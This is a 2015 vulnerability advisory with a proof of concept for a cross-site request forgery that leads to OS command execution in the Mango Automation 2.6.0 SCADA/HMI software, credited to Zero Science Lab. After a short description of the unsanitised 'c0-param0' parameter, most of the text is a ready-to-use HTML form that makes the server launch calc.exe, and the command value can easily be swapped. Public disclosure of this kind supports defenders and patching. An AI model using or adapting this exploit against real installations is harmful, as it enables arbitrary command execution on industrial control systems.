Mango Automation 2.6.0 Command Execution Cross Site Request Forgery
Posted on 29 September 2015
Mango Automation 2.6.0 CSRF Arbitrary Command Execution Exploit Vendor: Infinite Automation Systems Inc. Product web page: http://www.infiniteautomation.com/ Affected version: 2.5.2 and 2.6.0 beta (build 327) Summary: Mango Automation is a flexible SCADA, HMI And Automation software application that allows you to view, log, graph, animate, alarm, and report on data from sensors, equipment, PLCs, databases, webpages, etc. It is easy, affordable, and open source. Desc: The POST parameter 'c0-param0' in the testProcessCommand.dwr method is not properly sanitised before being used to execute commands. This can be exploited to inject and execute arbitrary OS commands as well as using cross-site request forgery attacks. Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit Jetty(9.2.2.v20140723) Java(TM) SE Runtime Environment (build 1.8.0_51-b16) Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5261 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5261.php 20.08.2015 -- <html> <body> <form action="http://localhost:8080/dwr/call/plaincall/EventHandlersDwr.testProcessCommand.dwr" method="POST"> <input type="hidden" name="callCount" value="1" /> <input type="hidden" name="page" value="/event_handlers.shtm" /> <input type="hidden" name="httpSessionId" value=" " /> <input type="hidden" name="scriptSessionId" value="26D579040C1C11D2E21D1E5F321094E5866" /> <input type="hidden" name="c0-scriptName" value="EventHandlersDwr" /> <input type="hidden" name="c0-methodName" value="testProcessCommand" /> <input type="hidden" name="c0-id" value="0" /> <input type="hidden" name="c0-param0" value="string:C:\windows\system32\calc.exe" /> <input type="hidden" name="c0-param1" value="string:15" /> <input type="hidden" name="batchId" value="24" /> <input type="submit" value="Submit request" /> </form> </body> </html>
